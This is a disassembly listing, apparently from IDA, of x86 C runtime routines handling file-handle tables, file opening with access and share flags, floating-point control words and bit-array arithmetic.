		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_439594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		call	near ptr 25C08F1h
		nop


loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------


loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh


loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_48B440
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_439594, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		nop
		call	near ptr 25C08F1h


loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------


loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh


loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 25C0445h
		nop
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 2640A83h
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------


loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax


loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_48A018, eax


loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------


loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_48A2E8, eax
		jz	short loc_41FF11


loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h


loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37


loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_48A014, 16h
		mov	dword_48A018, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------


loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h


loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx


loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------


loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1


loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_48A01C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi


loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi


loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------


loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h


loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F


loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_48A018, 0
		mov	dword_48A014, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------


loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2640764h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 25E0761h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 26217F0h


loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 2640A83h
		push	eax
		call	sub_41EF44
		pop	ecx


loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------


loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------


loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8


loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_48A018, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------


loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155


loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161


loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx


loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------


loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx


loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax


loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8


loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4


loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2


loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1


loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h


loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1


loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h


loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax


loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4


loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8


loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h


loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h


loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2


loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4


loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx


loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]


loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A


loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]


loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A


loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]


loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------


loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx


loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2


loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------


loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx


loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
